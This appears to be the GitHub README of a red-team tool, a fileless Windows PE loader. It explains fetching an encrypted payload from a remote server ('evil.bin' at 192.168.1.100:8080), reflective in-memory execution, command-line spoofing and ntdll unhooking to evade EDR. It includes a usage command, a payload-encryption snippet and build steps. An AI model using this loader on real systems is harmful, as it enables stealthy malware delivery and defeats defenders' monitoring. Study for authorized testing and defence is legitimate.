Disclaimer: This tool is intended for educational purposes and authorized red team operations only. Do not use on systems you do not own or have explicit permission to test.
LazyLoader is a sophisticated, in-memory Windows PE (Portable Executable) loader that:
- Downloads an AES-256 encrypted PE file and its decryption key from a remote HTTP server.
- Decrypts the payload in memory using Windows CryptoAPI.
- Reflectively maps and relocates the PE into the current process.
- Repairs the Import Address Table (IAT) with optional API hooking to spoof command-line arguments and prevent process exit.
- Executes the payload in a new thread.
- Optionally unhooks ntdll.dll by restoring its .text section from a clean process (e.g., notepad.exe) to evade EDR/userland hooks.
- Designed for stealth, LazyLoader leaves no trace on disk and hides its execution context from command-line inspection tools.
- β Remote Payload Fetching Uses WinHTTP to securely download encrypted PE and key files from a remote server.
- Leverages Windows CryptAcquireContext, CryptCreateHash, and CryptDecrypt for secure in-memory decryption.
- Parses PE headers and sections.
- Allocates memory at preferred or relocated base.
- Copies headers and sections.
- Repairs IAT with dynamic GetProcAddress.
Spoofs:
- GetCommandLineA/W
- __p___argv
- __p___wargv
- __p___argc
- __getmainargs
- __wgetmainargs
Prevents detection via process argument inspection.
-
β Exit Function Hooking Hooks exit, _exit, ExitProcess, etc., to redirect termination to ExitThread(0) β keeping the host process alive.
-
β EDR Evasion via NTDLL Unhooking Optionally spawns a suspended notepad.exe, reads clean ntdll.dll from its memory, and restores hooked .text sections in the current process.
-
β No Disk Artifacts Everything runs in memory β no temporary files written.
LazyLoader.exe <Host> <Port> <EncryptedPEPath> <KeyPath>LazyLoader.exe 192.168.1.100 8080 /evil.bin /key.bin- Connect to http://192.168.1.100:8080/evil.bin and download the encrypted payload.
- Download the key from http://192.168.1.100:8080/key.bin.
- Decrypt the payload using AES-256.
- Spoof command-line to appear as "whatEver".
- Load and execute the PE reflectively.
The payload must be encrypted with AES-256 in ECB mode (or compatible with Windows CryptDecrypt defaults).
Example Python encryption snippet:
from Crypto.Cipher import AES
import hashlib
key = b"your-32-byte-key-here-------------" # Must be 32 bytes
data = open("payload.bin", "rb").read()
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(data.ljust((len(data) // 16 + 1) * 16, b'\x00')) # PKCS#7-style padding
with open("evil.bin", "wb") as f:
f.write(encrypted)- LazyLoader uses SHA-256 to hash the key file contents before deriving the AES key β ensure your encryption matches this behavior.
- I only translate to C from C++ ( https://github.com/d1rkmtrr/FilelessPELoader/ ), because i like more C xd, and to learn, and this version compile in linux :D
Requirements x86_64-w64-mingw32-gcc Libraries: WinHttp, Crypt32, Psapi Build with x86_64-w64-mingw32-gcc cmd
x86_64-w64-mingw32-gcc -o loader.exe main.c -lwinhttp -lcrypt32 -lpsapi
β avoids module enumeration. IAT Repair + Hooking Spoofs command-line and argv to hide true intent. Exit Hooking Redirects ExitProcess to ExitThread β host process stays alive. NTDLL Unhooking Restores clean .text from external process β defeats userland hooks. No Disk Writes Entire execution is memory-resident.
Educational & Red Team Use Only. Not for malicious exploitation.
For bugs, suggestions, or contributions β open an issue or submit a PR.
- Author: grisun0 - LazyOwn RedTeam
- Version: release/v0.0.1
- Year: 2025
This software is for authorized penetration testing and research purposes only. Misuse of this tool can result in criminal prosecution. The author(s) assume no liability and are not responsible for any misuse or damage caused by this program.
β Stay LazyOwn. Stay Stealthy.
- π GitHub: https://github.com/grisuno/LazyLoader/
- π GitHub: https://github.com/grisuno/LazyOwn/
- π§ Framework: https://grisuno.github.io/LazyOwn/
- π¬ Discord: https://discord.gg/V3usU8yH
- π§βπ» HTB: https://app.hackthebox.com/users/1998024
- β Ko-fi: https://ko-fi.com/Y8Y2Z73AV (Buy us coffee. Weβll use it to compile more chaos.)